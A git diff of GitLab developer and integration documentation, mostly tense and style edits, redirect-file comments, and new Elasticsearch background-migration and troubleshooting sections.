attribute, you can use the `attribute` method with a block using the other resource class to fabricate the resource. -That will allow access to the other resource from your resource object's +That allows access to the other resource from your resource object's methods. You would usually use it in `#fabricate!`, `#api_get_path`, `#api_post_path`, `#api_post_body`. @@ -144,7 +144,7 @@ end ``` **Note that all the attributes are lazily constructed. This means if you want -a specific attribute to be fabricated first, you'll need to call the +a specific attribute to be fabricated first, you must call the attribute method first even if you're not using it.** #### Product data attributes @@ -185,7 +185,7 @@ end ``` **Note again that all the attributes are lazily constructed. This means if -you call `shirt.brand` after moving to the other page, it'll not properly +you call `shirt.brand` after moving to the other page, it doesn't properly retrieve the data because we're no longer on the expected page.** Consider this: @@ -201,7 +201,7 @@ shirt.project.visit! shirt.brand # => FAIL! ``` -The above example will fail because now we're on the project page, trying to +The above example fails because now we're on the project page, trying to construct the brand data from the shirt page, however we moved to the project page already. There are two ways to solve this, one is that we could try to retrieve the brand before visiting the project again: @@ -219,8 +219,8 @@ shirt.project.visit! shirt.brand # => OK! ``` -The attribute will be stored in the instance therefore all the following calls -will be fine, using the data previously constructed. If we think that this +The attribute is stored in the instance, therefore all the following calls +are fine, using the data previously constructed. If we think that this might be too brittle, we could eagerly construct the data right before ending fabrication: @@ -249,12 +249,12 @@ module QA end ``` -The `populate` method will iterate through its arguments and call each +The `populate` method iterates through its arguments and call each attribute respectively. Here `populate(:brand)` has the same effect as just `brand`. Using the populate method makes the intention clearer. -With this, it will make sure we construct the data right after we create the -shirt. The drawback is that this will always construct the data when the +With this, it ensures we construct the data right after we create the +shirt. The drawback is that this always constructs the data when the resource is fabricated even if we don't need to use the data. Alternatively, we could just make sure we're on the right page before @@ -290,7 +290,7 @@ module QA end ``` -This will make sure it's on the shirt page before constructing brand, and +This ensures it's on the shirt page before constructing brand, and move back to the previous page to avoid breaking the state. #### Define an attribute based on an API response @@ -343,16 +343,16 @@ end - resource instance variables have the highest precedence - attributes from the API response take precedence over attributes from the block (usually from Browser UI) -- attributes without a value will raise a `QA::Resource::Base::NoValueError` error +- attributes without a value raises a `QA::Resource::Base::NoValueError` error ## Creating resources in your tests To create a resource in your tests, you can call the `.fabricate!` method on the resource class. -Note that if the resource class supports API fabrication, this will use this +Note that if the resource class supports API fabrication, this uses this fabrication by default. -Here is an example that will use the API fabrication method under the hood +Here is an example that uses the API fabrication method under the hood since it's supported by the `Shirt` resource class: ```ruby @@ -389,8 +389,7 @@ my_shirt = Resource::Shirt.fabricate_via_api! do |shirt| end ``` -In this case, the result will be similar to calling -`Resource::Shirt.fabricate!`. +In this case, the result is similar to calling `Resource::Shirt.fabricate!`. ## Where to ask for help? diff --git a/doc/development/testing_guide/end_to_end/rspec_metadata_tests.md b/doc/development/testing_guide/end_to_end/rspec_metadata_tests.md index 8e99cf18ea0..013967a9826 100644 --- a/doc/development/testing_guide/end_to_end/rspec_metadata_tests.md +++ b/doc/development/testing_guide/end_to_end/rspec_metadata_tests.md @@ -14,16 +14,16 @@ This is a partial list of the [RSpec metadata](https://relishapp.com/rspec/rspec | Tag | Description | |-----|-------------| | `:elasticsearch` | The test requires an Elasticsearch service. It is used by the [instance-level scenario](https://gitlab.com/gitlab-org/gitlab-qa#definitions) [`Test::Integration::Elasticsearch`](https://gitlab.com/gitlab-org/gitlab/-/blob/72b62b51bdf513e2936301cb6c7c91ec27c35b4d/qa/qa/ee/scenario/test/integration/elasticsearch.rb) to include only tests that require Elasticsearch. | -| `:gitaly_cluster` | The test will run against a GitLab instance where repositories are stored on redundant Gitaly nodes behind a Praefect node. All nodes are [separate containers](../../../administration/gitaly/praefect.md#requirements-for-configuring-a-gitaly-cluster). Tests that use this tag have a longer setup time since there are three additional containers that need to be started. | -| `:jira` | The test requires a Jira Server. [GitLab-QA](https://gitlab.com/gitlab-org/gitlab-qa) will provision the Jira Server in a Docker container when the `Test::Integration::Jira` test scenario is run. -| `:kubernetes` | The test includes a GitLab instance that is configured to be run behind an SSH tunnel, allowing a TLS-accessible GitLab. This test will also include provisioning of at least one Kubernetes cluster to test against. _This tag is often be paired with `:orchestrated`._ | +| `:gitaly_cluster` | The test runs against a GitLab instance where repositories are stored on redundant Gitaly nodes behind a Praefect node. All nodes are [separate containers](../../../administration/gitaly/praefect.md#requirements-for-configuring-a-gitaly-cluster). Tests that use this tag have a longer setup time since there are three additional containers that need to be started. | +| `:jira` | The test requires a Jira Server. [GitLab-QA](https://gitlab.com/gitlab-org/gitlab-qa) provisions the Jira Server in a Docker container when the `Test::Integration::Jira` test scenario is run. +| `:kubernetes` | The test includes a GitLab instance that is configured to be run behind an SSH tunnel, allowing a TLS-accessible GitLab. This test also includes provisioning of at least one Kubernetes cluster to test against. _This tag is often be paired with `:orchestrated`._ | | `:only` | The test is only to be run against specific environments or pipelines. See [Environment selection](environment_selection.md) for more information. | | `:orchestrated` | The GitLab instance under test may be [configured by `gitlab-qa`](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/master/docs/what_tests_can_be_run.md#orchestrated-tests) to be different to the default GitLab configuration, or `gitlab-qa` may launch additional services in separate Docker containers, or both. Tests tagged with `:orchestrated` are excluded when testing environments where we can't dynamically modify GitLab's configuration (for example, Staging). | -| `:quarantine` | The test has been [quarantined](https://about.gitlab.com/handbook/engineering/quality/guidelines/debugging-qa-test-failures/#quarantining-tests), will run in a separate job that only includes quarantined tests, and is allowed to fail. The test will be skipped in its regular job so that if it fails it will not hold up the pipeline. Note that you can also [quarantine a test only when it runs against specific environment](environment_selection.md#quarantining-a-test-for-a-specific-environment). | +| `:quarantine` | The test has been [quarantined](https://about.gitlab.com/handbook/engineering/quality/guidelines/debugging-qa-test-failures/#quarantining-tests), runs in a separate job that only includes quarantined tests, and is allowed to fail. The test is skipped in its regular job so that if it fails it doesn't hold up the pipeline. Note that you can also [quarantine a test only when it runs against specific environment](environment_selection.md#quarantining-a-test-for-a-specific-environment). | | `:reliable` | The test has been [promoted to a reliable test](https://about.gitlab.com/handbook/engineering/quality/guidelines/reliable-tests/#promoting-an-existing-test-to-reliable) meaning it passes consistently in all pipelines, including merge requests. | | `:requires_admin` | The test requires an admin account. Tests with the tag are excluded when run against Canary and Production environments. | -| `:runner` | The test depends on and will set up a GitLab Runner instance, typically to run a pipeline. | -| `:skip_live_env` | The test will be excluded when run against live deployed environments such as Staging, Canary, and Production. | +| `:runner` | The test depends on and sets up a GitLab Runner instance, typically to run a pipeline. | +| `:skip_live_env` | The test is excluded when run against live deployed environments such as Staging, Canary, and Production. | | `:testcase` | The link to the test case issue in the [Quality Testcases project](https://gitlab.com/gitlab-org/quality/testcases/). | | `:mattermost` | The test requires a GitLab Mattermost service on the GitLab instance. | | `:ldap_no_server` | The test requires a GitLab instance to be configured to use LDAP. To be used with the `:orchestrated` tag. It does not spin up an LDAP server at orchestration time. Instead, it creates the LDAP server at runtime. | @@ -33,7 +33,7 @@ This is a partial list of the [RSpec metadata](https://relishapp.com/rspec/rspec | `:smtp` | The test requires a GitLab instance to be configured to use an SMTP server. Tests SMTP notification email delivery from GitLab by using MailHog. | | `:group_saml` | The test requires a GitLab instance that has SAML SSO enabled at the group level. Interacts with an external SAML identity provider. Paired with the `:orchestrated` tag. | | `:instance_saml` | The test requires a GitLab instance that has SAML SSO enabled at the instance level. Interacts with an external SAML identity provider. Paired with the `:orchestrated` tag. | -| `:skip_signup_disabled` | The test uses UI to sign up a new user and will be skipped in any environment that does not allow new user registration via the UI. | +| `:skip_signup_disabled` | The test uses UI to sign up a new user and is skipped in any environment that does not allow new user registration via the UI. | | `:smoke` | The test belongs to the test suite which verifies basic functionality of a GitLab instance.| | `:github` | The test requires a GitHub personal access token. | | `:repository_storage` | The test requires a GitLab instance to be configured to use multiple [repository storage paths](../../../administration/repository_storage_paths.md). Paired with the `:orchestrated` tag. | diff --git a/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md b/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md index df4b833526c..955fd27874d 100644 --- a/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md +++ b/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md @@ -10,7 +10,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w The [`jenkins_build_status_spec`](https://gitlab.com/gitlab-org/gitlab/blob/163c8a8c814db26d11e104d1cb2dcf02eb567dbe/qa/qa/specs/features/ee/browser_ui/3_create/jenkins/jenkins_build_status_spec.rb) spins up a Jenkins instance in a Docker container based on an image stored in the [GitLab-QA container registry](https://gitlab.com/gitlab-org/gitlab-qa/container_registry). The Docker image it uses is preconfigured with some base data and plugins. -The test then configures the GitLab plugin in Jenkins with a URL of the GitLab instance that will be used +The test then configures the GitLab plugin in Jenkins with a URL of the GitLab instance that are used to run the tests. Unfortunately, the GitLab Jenkins plugin does not accept ports so `http://localhost:3000` would not be accepted. Therefore, this requires us to run GitLab on port 80 or inside a Docker container. @@ -30,7 +30,7 @@ To run the tests from the `/qa` directory: CHROME_HEADLESS=false bin/qa Test::Instance::All http://localhost -- qa/specs/features/ee/browser_ui/3_create/jenkins/jenkins_build_status_spec.rb ``` -The test will automatically spin up a Docker container for Jenkins and tear down once the test completes. +The test automatically spins up a Docker container for Jenkins and tear down once the test completes. However, if you need to run Jenkins manually outside of the tests, use this command: @@ -43,7 +43,7 @@ docker run \ registry.gitlab.com/gitlab-org/gitlab-qa/jenkins-gitlab:version1 ``` -Jenkins will be available on `http://localhost:8080`. +Jenkins is available on `http://localhost:8080`. Admin username is `admin` and password is `password`. @@ -59,19 +59,19 @@ the Docker Engine. The tests tagged `:gitaly_ha` are orchestrated tests that can only be run against a set of Docker containers as configured and started by [the `Test::Integration::GitalyCluster` GitLab QA scenario](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/master/docs/what_tests_can_be_run.md#testintegrationgitalycluster-ceeefull-image-address). -As described in the documentation about the scenario noted above, the following command will run the tests: +As described in the documentation about the scenario noted above, the following command runs the tests: ```shell gitlab-qa Test::Integration::GitalyCluster EE ``` -However, that will remove the containers after it finishes running the tests. If you would like to do further testing, for example, if you would like to run a single test via a debugger, you can use [the `--no-tests` option](https://gitlab.com/gitlab-org/gitlab-qa#command-line-options) to make `gitlab-qa` skip running the tests, and to leave the containers running so that you can continue to use them. +However, that removes the containers after it finishes running the tests. If you would like to do further testing, for example, if you would like to run a single test via a debugger, you can use [the `--no-tests` option](https://gitlab.com/gitlab-org/gitlab-qa#command-line-options) to make `gitlab-qa` skip running the tests, and to leave the containers running so that you can continue to use them. ```shell gitlab-qa Test::Integration::GitalyCluster EE --no-tests ``` -When all the containers are running you will see the output of the `docker ps` command, showing on which ports the GitLab container can be accessed. For example: +When all the containers are running, the output of the `docker ps` command shows which ports the GitLab container can be accessed on. For example: ```plaintext CONTAINER ID ... PORTS NAMES @@ -82,7 +82,7 @@ That shows that the GitLab instance running in the `gitlab-gitaly-ha` container Another option is to use NGINX. -In both cases you will need to configure your machine to translate `gitlab-gitlab-ha.test` into an appropriate IP address: +In both cases you must configure your machine to translate `gitlab-gitlab-ha.test` into an appropriate IP address: ```shell echo '127.0.0.1 gitlab-gitaly-ha.test' | sudo tee -a /etc/hosts @@ -205,7 +205,7 @@ You can now search through the logs for *Job log*, which matches delimited secti A Job log is a subsection within these logs, related to app deployment. We use two jobs: `build` and `production`. You can find the root causes of deployment failures in these logs, which can compromise the entire test. -If a `build` job fails, the `production` job won't run, and the test fails. +If a `build` job fails, the `production` job doesn't run, and the test fails. The long test setup does not take screenshots of failures, which is a known [issue](https://gitlab.com/gitlab-org/quality/team-tasks/-/issues/270). However, if the spec fails (after a successful deployment) then you should be able to find screenshots which display the feature failure. @@ -286,7 +286,7 @@ CHROME_HEADLESS=false bundle exec bin/qa QA::EE::Scenario::Test::Geo --primary-a You can use [GitLab-QA Orchestrator](https://gitlab.com/gitlab-org/gitlab-qa) to orchestrate two GitLab containers and configure them as a Geo setup. -Geo requires an EE license. To visit the Geo sites in your browser, you will need a reverse proxy server (for example, [NGINX](https://www.nginx.com/)). +Geo requires an EE license. To visit the Geo sites in your browser, you need a reverse proxy server (for example, [NGINX](https://www.nginx.com/)). 1. Export your EE license @@ -296,7 +296,7 @@ Geo requires an EE license. To visit the Geo sites in your browser, you will nee 1. (Optional) Pull the GitLab image - This step is optional because pulling the Docker image is part of the [`Test::Integration::Geo` orchestrated scenario](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/d8c5c40607c2be0eda58bbca1b9f534b00889a0b/lib/gitlab/qa/scenario/test/integration/geo.rb). However, it's easier to monitor the download progress if you pull the image first, and the scenario will skip this step after checking that the image is up to date. + This step is optional because pulling the Docker image is part of the [`Test::Integration::Geo` orchestrated scenario](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/d8c5c40607c2be0eda58bbca1b9f534b00889a0b/lib/gitlab/qa/scenario/test/integration/geo.rb). However, it's easier to monitor the download progress if you pull the image first, and the scenario skips this step after checking that the image is up to date. ```shell # For the most recent nightly image @@ -309,7 +309,7 @@ Geo requires an EE license. To visit the Geo sites in your browser, you will nee docker pull registry.gitlab.com/gitlab-org/build/omnibus-gitlab-mirror/gitlab-ee:examplesha123456789 ``` -1. Run the [`Test::Integration::Geo` orchestrated scenario](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/d8c5c40607c2be0eda58bbca1b9f534b00889a0b/lib/gitlab/qa/scenario/test/integration/geo.rb) with the `--no-teardown` option to build the GitLab containers, configure the Geo setup, and run Geo end-to-end tests. Running the tests after the Geo setup is complete is optional; the containers will keep running after you stop the tests. +1. Run the [`Test::Integration::Geo` orchestrated scenario](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/d8c5c40607c2be0eda58bbca1b9f534b00889a0b/lib/gitlab/qa/scenario/test/integration/geo.rb) with the `--no-teardown` option to build the GitLab containers, configure the Geo setup, and run Geo end-to-end tests. Running the tests after the Geo setup is complete is optional; the containers keep running after you stop the tests. ```shell # Using the most recent nightly image diff --git a/doc/development/testing_guide/flaky_tests.md b/doc/development/testing_guide/flaky_tests.md index 47ed11d76a2..9ae6e9411ad 100644 --- a/doc/development/testing_guide/flaky_tests.md +++ b/doc/development/testing_guide/flaky_tests.md @@ -26,14 +26,14 @@ it 'should succeed', quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/ end ``` -This means it will be skipped unless run with `--tag quarantine`: +This means it is skipped unless run with `--tag quarantine`: ```shell bin/rspec --tag quarantine ``` **Before putting a test in quarantine, you should make sure that a -~"master:broken" issue exists for it so it won't stay in quarantine forever.** +~"master:broken" issue exists for it so it doesn't stay in quarantine forever.** Once a test is in quarantine, there are 3 choices: diff --git a/doc/development/testing_guide/testing_rake_tasks.md b/doc/development/testing_guide/testing_rake_tasks.md index 384739d1adb..c1414db2387 100644 --- a/doc/development/testing_guide/testing_rake_tasks.md +++ b/doc/development/testing_guide/testing_rake_tasks.md @@ -11,7 +11,7 @@ in lieu of the standard Spec helper. Instead of `require 'spec_helper'`, use `require 'rake_helper'`. The helper includes `spec_helper` for you, and configures a few other things to make testing Rake tasks easier. -At a minimum, requiring the Rake helper will redirect `stdout`, include the +At a minimum, requiring the Rake helper redirects `stdout`, include the runtime task helpers, and include the `RakeHelpers` Spec support module. The `RakeHelpers` module exposes a `run_rake_task(<task>)` method to make diff --git a/doc/development/ux_guide/users.md b/doc/development/ux_guide/users.md index 3aecbbffd73..6d586ce807b 100644 --- a/doc/development/ux_guide/users.md +++ b/doc/development/ux_guide/users.md @@ -3,3 +3,6 @@ redirect_to: 'https://about.gitlab.com/handbook/marketing/product-marketing/role --- This document was moved to [another location](https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/downgrade_ee_to_ce/README.md b/doc/downgrade_ee_to_ce/README.md index 2561ee875d2..dd8db80f849 100644 --- a/doc/downgrade_ee_to_ce/README.md +++ b/doc/downgrade_ee_to_ce/README.md @@ -24,8 +24,7 @@ alternative authentication methods to your users. ### Remove Service Integration entries from the database The `JenkinsService` and `GithubService` classes are only available in the Enterprise Edition codebase, -so if you downgrade to the Community Edition, you'll come across the following -error: +so if you downgrade to the Community Edition, the following error displays: ```plaintext Completed 500 Internal Server Error in 497ms (ActiveRecord: 32.2ms) diff --git a/doc/gitlab-basics/add-image.md b/doc/gitlab-basics/add-image.md index 11a4a6bbd97..8eb60f03877 100644 --- a/doc/gitlab-basics/add-image.md +++ b/doc/gitlab-basics/add-image.md @@ -3,3 +3,6 @@ redirect_to: 'add-file.md' --- This document was moved to [another location](add-file.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/gitlab-basics/add-merge-request.md b/doc/gitlab-basics/add-merge-request.md index 1ee28183ac8..a04bc5704e5 100644 --- a/doc/gitlab-basics/add-merge-request.md +++ b/doc/gitlab-basics/add-merge-request.md @@ -3,3 +3,6 @@ redirect_to: '../user/project/merge_requests/creating_merge_requests.md' --- This document was moved to [another location](../user/project/merge_requests/creating_merge_requests.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/gitlab-basics/basic-git-commands.md b/doc/gitlab-basics/basic-git-commands.md index 4e0cc2de2bc..506fe89fc18 100644 --- a/doc/gitlab-basics/basic-git-commands.md +++ b/doc/gitlab-basics/basic-git-commands.md @@ -3,3 +3,6 @@ redirect_to: 'start-using-git.md' --- This document was moved to [another location](start-using-git.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/gitlab-basics/create-group.md b/doc/gitlab-basics/create-group.md index 8c0d3561882..f683b92af89 100644 --- a/doc/gitlab-basics/create-group.md +++ b/doc/gitlab-basics/create-group.md @@ -3,3 +3,6 @@ redirect_to: '../user/group/index.md#create-a-new-group' --- This document was moved to [another location](../user/group/index.md#create-a-new-group). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/gitlab-basics/create-issue.md b/doc/gitlab-basics/create-issue.md index 5fa5f1bf2e2..39e47690264 100644 --- a/doc/gitlab-basics/create-issue.md +++ b/doc/gitlab-basics/create-issue.md @@ -3,3 +3,6 @@ redirect_to: '../user/project/issues/index.md#viewing-and-managing-issues' --- This document was moved to [another location](../user/project/issues/index.md#viewing-and-managing-issues). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/install/google-protobuf.md b/doc/install/google-protobuf.md index 434817c48cb..ae7b0548d51 100644 --- a/doc/install/google-protobuf.md +++ b/doc/install/google-protobuf.md @@ -3,3 +3,6 @@ redirect_to: 'installation.md#google-protobuf-loaderror-libx86_64-linux-gnulibcs --- This document was moved to [another location](installation.md#google-protobuf-loaderror-libx86_64-linux-gnulibcso6-version-glibc_214-not-found). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/install/ldap.md b/doc/install/ldap.md index 164478f09f7..e88363f81b1 100644 --- a/doc/install/ldap.md +++ b/doc/install/ldap.md @@ -3,3 +3,6 @@ redirect_to: '../administration/auth/ldap/index.md' --- This document was moved to [another location](../administration/auth/ldap/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/install/redis.md b/doc/install/redis.md index cff5c2f2611..9048f777a0d 100644 --- a/doc/install/redis.md +++ b/doc/install/redis.md @@ -3,3 +3,6 @@ redirect_to: installation.md#7-redis --- This document was moved to [another location](installation.md#7-redis). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/install/requirements.md b/doc/install/requirements.md index 4a61831ff86..63a87901713 100644 --- a/doc/install/requirements.md +++ b/doc/install/requirements.md @@ -221,8 +221,8 @@ Redis stores all user sessions and the background task queue. The storage requirements for Redis are minimal, about 25kB per user. Sidekiq processes the background jobs with a multithreaded process. This process starts with the entire Rails stack (200MB+) but it can grow over time due to memory leaks. -On a very active server (10,000 active users) the Sidekiq process can use 1GB+ of memory. - +On a very active server (10,000 billable users) the Sidekiq process can use 1GB+ of memory. + ## Prometheus and its exporters As of Omnibus GitLab 9.0, [Prometheus](https://prometheus.io) and its related diff --git a/doc/integration/README.md b/doc/integration/README.md index 25e8c1a51c1..acf37374c30 100644 --- a/doc/integration/README.md +++ b/doc/integration/README.md @@ -64,7 +64,7 @@ Integration with services such as Campfire, Flowdock, HipChat, Pivotal Tracker, ### SSL certificate errors -When trying to integrate GitLab with services that are using self-signed certificates, it is very likely that SSL certificate errors will occur in different parts of the application, most likely Sidekiq. +When trying to integrate GitLab with services that are using self-signed certificates, it is very likely that SSL certificate errors occur in different parts of the application, most likely Sidekiq. There are two approaches you can take to solve this: diff --git a/doc/integration/cas.md b/doc/integration/cas.md index e61988c3301..6b8da8ecbd5 100644 --- a/doc/integration/cas.md +++ b/doc/integration/cas.md @@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # CAS OmniAuth Provider -To enable the CAS OmniAuth provider you must register your application with your CAS instance. This requires the service URL GitLab will supply to CAS. It should be something like: `https://gitlab.example.com:443/users/auth/cas3/callback?url`. By default handling for SLO is enabled, you only need to configure CAS for backchannel logout. +To enable the CAS OmniAuth provider you must register your application with your CAS instance. This requires the service URL GitLab supplies to CAS. It should be something like: `https://gitlab.example.com:443/users/auth/cas3/callback?url`. By default handling for SLO is enabled, you only need to configure CAS for backchannel logout. 1. On your GitLab server, open the configuration file. diff --git a/doc/integration/chat_commands.md b/doc/integration/chat_commands.md index 1a4fb46046d..a0361064d87 100644 --- a/doc/integration/chat_commands.md +++ b/doc/integration/chat_commands.md @@ -3,3 +3,6 @@ redirect_to: 'slash_commands.md' --- This document was moved to [integration/slash_commands.md](slash_commands.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/integration/crowd.md b/doc/integration/crowd.md index 30e3e888b29..e07e3435baf 100644 --- a/doc/integration/crowd.md +++ b/doc/integration/crowd.md @@ -3,3 +3,6 @@ redirect_to: '../administration/auth/crowd.md' --- This document was moved to [`administration/auth/crowd`](../administration/auth/crowd.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/integration/elasticsearch.md b/doc/integration/elasticsearch.md index 095c58f17fc..8597e310b91 100644 --- a/doc/integration/elasticsearch.md +++ b/doc/integration/elasticsearch.md @@ -23,8 +23,8 @@ and the advantage of the following special searches: | GitLab version | Elasticsearch version | |---------------------------------------------|-------------------------------| -| GitLab Enterprise Edition 13.6 or greater | Elasticsearch 7.x (6.4 - 6.x deprecated to be removed in 13.8) | -| GitLab Enterprise Edition 13.2 through 13.5 | Elasticsearch 6.4 through 7.x | +| GitLab Enterprise Edition 13.9 or greater | Elasticsearch 6.8 through 7.x | +| GitLab Enterprise Edition 13.3 through 13.8 | Elasticsearch 6.4 through 7.x | | GitLab Enterprise Edition 12.7 through 13.2 | Elasticsearch 6.x through 7.x | | GitLab Enterprise Edition 11.5 through 12.6 | Elasticsearch 5.6 through 6.x | | GitLab Enterprise Edition 9.0 through 11.4 | Elasticsearch 5.1 through 5.5 | @@ -435,6 +435,55 @@ After the reindexing is completed, the original index will be scheduled to be de While the reindexing is running, you will be able to follow its progress under that same section. +## Background migrations + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/234046) in GitLab 13.6. + +With reindex migrations running in the background, there's no need for a manual +intervention. This usually happens in situations where new features are added to +Advanced Search, which means adding or changing the way content is indexed. + +To confirm that the background migrations ran, you can check with: + +```shell +curl "$CLUSTER_URL/gitlab-production-migrations/_search?q=*" | jq . +``` + +This should return something similar to: + +```json +{ + "took": 14, + "timed_out": false, + "_shards": { + "total": 1, + "successful": 1, + "skipped": 0, + "failed": 0 + }, + "hits": { + "total": { + "value": 1, + "relation": "eq" + }, + "max_score": 1, + "hits": [ + { + "_index": "gitlab-production-migrations", + "_type": "_doc", + "_id": "20201105181100", + "_score": 1, + "_source": { + "completed": true + } + } + ] + } +} +``` + +In order to debug issues with the migrations you can check the [`elasticsearch.log` file](../administration/logs.md#elasticsearchlog). + ## GitLab Advanced Search Rake tasks Rake tasks are available to: @@ -712,6 +761,17 @@ However, some larger installations may wish to tune the merge policy settings: ## Troubleshooting +One of the most valuable tools for identifying issues with the Elasticsearch +integration will be logs. The most relevant logs for this integration are: + +1. [`sidekiq.log`](../administration/logs.md#sidekiqlog) - All of the + indexing happens in Sidekiq, so much of the relevant logs for the + Elasticsearch integration can be found in this file. +1. [`elasticsearch.log`](../administration/logs.md#elasticsearchlog) - There + are additional logs specific to Elasticsearch that are sent to this file + that may contain useful diagnostic information about searching, + indexing or migrations. + Here are some common pitfalls and how to overcome them. ### How can I verify that my GitLab instance is using Elasticsearch? @@ -869,6 +929,13 @@ Gitlab::Elastic::Indexer::Error: time="2020-01-23T09:13:00Z" level=fatal msg="he You probably have not used either `http://` or `https://` as part of your value in the **"URL"** field of the Elasticsearch Integration Menu. Please make sure you are using either `http://` or `https://` in this field as the [Elasticsearch client for Go](https://github.com/olivere/elastic) that we are using [needs the prefix for the URL to be accepted as valid](https://github.com/olivere/elastic/commit/a80af35aa41856dc2c986204e2b64eab81ccac3a). Once you have corrected the formatting of the URL, delete the index (via the [dedicated Rake task](#gitlab-advanced-search-rake-tasks)) and [reindex the content of your instance](#enabling-advanced-search). +### My Elasticsearch cluster has a plugin and the integration is not working + +Certain 3rd party plugins may introduce bugs in your cluster or for whatever +reason may be incompatible with our integration. You should try disabling +plugins so you can rule out the possibility that the plugin is causing the +problem. + ### Low-level troubleshooting There is a [more structured, lower-level troubleshooting document](../administration/troubleshooting/elasticsearch.md) for when you experience other issues, including poor performance. diff --git a/doc/integration/facebook.md b/doc/integration/facebook.md index bb699fa90b7..c53e81bf50b 100644 --- a/doc/integration/facebook.md +++ b/doc/integration/facebook.md @@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Facebook OAuth2 OmniAuth Provider -To enable the Facebook OmniAuth provider you must register your application with Facebook. Facebook will generate an app ID and secret key for you to use. +To enable the Facebook OmniAuth provider you must register your application with Facebook. Facebook generates an app ID and secret key for you to use. 1. Sign in to the [Facebook Developer Platform](https://developers.facebook.com/). @@ -101,4 +101,4 @@ To enable the Facebook OmniAuth provider you must register your application with 1. [Reconfigure](../administration/restart_gitlab.md#omnibus-gitlab-reconfigure) or [restart GitLab](../administration/restart_gitlab.md#installations-from-source) for the changes to take effect if you installed GitLab via Omnibus or from source respectively. -On the sign in page there should now be a Facebook icon below the regular sign in form. Click the icon to begin the authentication process. Facebook will ask the user to sign in and authorize the GitLab application. If everything goes well the user will be returned to GitLab and will be signed in. +On the sign in page there should now be a Facebook icon below the regular sign in form. Click the icon to begin the authentication process. Facebook asks the user to sign in and authorize the GitLab application. If everything goes well the user is returned to GitLab and signed in. diff --git a/doc/integration/github.md b/doc/integration/github.md index 8407920c631..b6a8de42beb 100644 --- a/doc/integration/github.md +++ b/doc/integration/github.md @@ -12,9 +12,9 @@ with your GitHub account. ## Enabling GitHub OAuth -To enable the GitHub OmniAuth provider, you'll need an OAuth 2 Client ID and Client Secret from GitHub. To get these credentials, sign into GitHub and follow their procedure for [Creating an OAuth App](https://developer.github.com/apps/building-oauth-apps/creating-an-oauth-app/). +To enable the GitHub OmniAuth provider, you need an OAuth 2 Client ID and Client Secret from GitHub. To get these credentials, sign into GitHub and follow their procedure for [Creating an OAuth App](https://developer.github.com/apps/building-oauth-apps/creating-an-oauth-app/). -When you create an OAuth 2 app in GitHub, you'll need the following information: +When you create an OAuth 2 app in GitHub, you need the following information: - The URL of your GitLab instance, such as `https://gitlab.example.com`. - The authorization callback URL; in this case, `https://gitlab.example.com/users/auth`. Include the port number if your GitLab instance uses a non-default port. @@ -24,7 +24,7 @@ To prevent an [OAuth2 covert redirect](https://oauth.net/advisories/2014-1-cover See [Initial OmniAuth Configuration](omniauth.md#initial-omniauth-configuration) for initial settings. -Once you have configured the GitHub provider, you'll need the following information, which you'll need to substitute in the GitLab configuration file, in the steps shown next. +After you have configured the GitHub provider, you need the following information, which you must substitute in the GitLab configuration file, in the steps shown next. | Setting from GitHub | Substitute in the GitLab configuration file | Description | |:---------------------|:---------------------------------------------|:------------| @@ -101,12 +101,12 @@ Follow these steps to incorporate the GitHub OAuth 2 app in your GitLab server: 1. Refresh the GitLab sign in page. You should now see a GitHub icon below the regular sign in form. -1. Click the icon to begin the authentication process. GitHub will ask the user to sign in and authorize the GitLab application. +1. Click the icon to begin the authentication process. GitHub asks the user to sign in and authorize the GitLab application. ## GitHub Enterprise with self-signed Certificate If you are attempting to import projects from GitHub Enterprise with a self-signed -certificate and the imports are failing, you will need to disable SSL verification. +certificate and the imports are failing, you must disable SSL verification. It should be disabled by adding `verify_ssl` to `false` in the provider configuration and changing the global Git `sslVerify` option to `false` in the GitLab server. @@ -125,7 +125,7 @@ gitlab_rails['omniauth_providers'] = [ ] ``` -You will also need to disable Git SSL verification on the server hosting 